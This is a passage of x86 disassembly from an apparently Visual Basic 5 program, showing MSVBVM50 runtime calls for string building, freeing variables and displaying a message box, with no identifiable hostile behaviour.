jne 0x434fc2
push 0x40c164
call edi
mov edx, eax
lea ecx, [ebp - 0x7c]
call esi
mov ecx, dword [ebp - 0x14]
push eax
push ecx
call edi
mov edx, eax
lea ecx, [ebp - 0x80]
call esi
push eax
push 0x410518
call edi
mov edx, eax
lea ecx, [ebp - 0x84]
call esi
push eax
push 0
call dword [sym.imp.MSVBVM50.DLL___vbaStrI4]
mov edx, eax
lea ecx, [ebp - 0x88]
call esi
push eax
call edi
mov edx, eax
lea ecx, [ebp - 0x8c]
call esi
push eax
push 0x410724
call edi
mov edx, eax
lea ecx, [ebp - 0x90]
call esi
lea edx, [ebp - 0x90]
push edx
call fcn.004305c0
lea eax, [ebp - 0x90]
lea ecx, [ebp - 0x8c]
push eax
lea edx, [ebp - 0x88]
push ecx
lea eax, [ebp - 0x84]
push edx
lea ecx, [ebp - 0x80]
push eax
lea edx, [ebp - 0x7c]
push ecx
push edx
push 6
call dword [sym.imp.MSVBVM50.DLL___vbaFreeStrList]
add esp, 0x1c
jmp 0x435151
push 0x410774
call edi
mov edx, eax
lea ecx, [ebp - 0x7c]
call esi
push eax
push 0
call dword [sym.imp.MSVBVM50.DLL___vbaStrI4]
mov edx, eax
lea ecx, [ebp - 0x80]
call esi
push eax
call edi
mov edx, eax
lea ecx, [ebp - 0x84]
call esi
push eax
push 0x410660
call edi
mov edx, eax
lea ecx, [ebp - 0x88]
call esi
mov ecx, dword [ebp - 0x50]
push eax
mov dl, byte [ecx]
push edx
call dword [sym.imp.MSVBVM50.DLL___vbaStrUI1]
mov edx, eax
lea ecx, [ebp - 0x8c]
call esi
push eax
call edi
mov edx, eax
lea ecx, [ebp - 0x90]
call esi
lea eax, [ebp - 0x90]
push eax
call fcn.004305c0
lea ecx, [ebp - 0x90]
lea edx, [ebp - 0x8c]
push ecx
lea eax, [ebp - 0x88]
push edx
lea ecx, [ebp - 0x84]
push eax
lea edx, [ebp - 0x80]
push ecx
lea eax, [ebp - 0x7c]
push edx
push eax
push 6
call dword [sym.imp.MSVBVM50.DLL___vbaFreeStrList]
add esp, 0x1c
jmp 0x435151
mov ecx, dword [ebp - 0x38]
push ecx
push 0x410234
call edi
mov edx, eax
lea ecx, [ebp - 0x7c]
call esi
lea edx, [ebp - 0x7c]
push edx
call fcn.004305c0
lea ecx, [ebp - 0x7c]
call ebx
jmp 0x435151
mov eax, dword [ebp - 0x38]
push eax
push 0x410214
call edi
mov edx, eax
lea ecx, [ebp - 0x7c]
call esi
lea ecx, [ebp - 0x7c]
push ecx
call fcn.004305c0
lea ecx, [ebp - 0x7c]
call ebx
cmp dword [ebp - 0x34], 5
jne 0x435151
mov ecx, 0x80020004
mov eax, 0xa
mov dword [ebp - 0xd0], ecx
mov dword [ebp - 0xc0], ecx
mov dword [ebp - 0xb0], ecx
lea edx, [ebp - 0x148]
lea ecx, [ebp - 0xa8]
mov dword [ebp - 0xd8], eax
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0x140], 0x410298
mov dword [ebp - 0x148], 8
call dword [sym.imp.MSVBVM50.DLL___vbaVarDup]
lea edx, [ebp - 0xd8]
lea eax, [ebp - 0xc8]
push edx
lea ecx, [ebp - 0xb8]
push eax
push ecx
lea edx, [ebp - 0xa8]
push 0x30
push edx
call dword [sym.imp.MSVBVM50.DLL_rtcMsgBox]
lea eax, [ebp - 0xd8]
lea ecx, [ebp - 0xc8]
push eax
lea edx, [ebp - 0xb8]
push ecx
lea eax, [ebp - 0xa8]
push edx
push eax
push 4
call dword [sym.imp.MSVBVM50.DLL___vbaFreeVarList]
add esp, 0x14
mov ecx, dword [ebp - 0x18]
push ecx
call fcn.00409e4c
call dword [sym.imp.MSVBVM50.DLL___vbaSetSystemError]
mov edx, 0x410db0
lea ecx, [ebp - 0x7c]
call dword [sym.imp.MSVBVM50.DLL___vbaStrCopy]
lea edx, [ebp - 0x7c]
push edx
call fcn.004305c0
lea ecx, [ebp - 0x7c]
call ebx
wait
push 0x435261
jmp 0x43521b
mov esi, dword [sym.imp.MSVBVM50.DLL___vbaFreeStr]
lea ecx, [ebp - 0x14]
call esi
lea ecx, [ebp - 0x24]
call esi
lea ecx, [ebp - 0x38]
call esi
lea ecx, [ebp - 0x44]
call esi
lea eax, [ebp - 0x18c]
lea edx, [ebp - 0x5c]
push eax
push 0
mov dword [ebp - 0x18c], edx
call dword [sym.imp.MSVBVM50.DLL___vbaAryDestruct]
lea ecx, [ebp - 0x60]
call esi
lea ecx, [ebp - 0x68]
call esi
lea ecx, [ebp - 0x78]
jmp dword [sym.imp.MSVBVM50.DLL___vbaFreeVar]
call dword [sym.imp.MSVBVM50.DLL___vbaErrorOverflow]
nop
nop
nop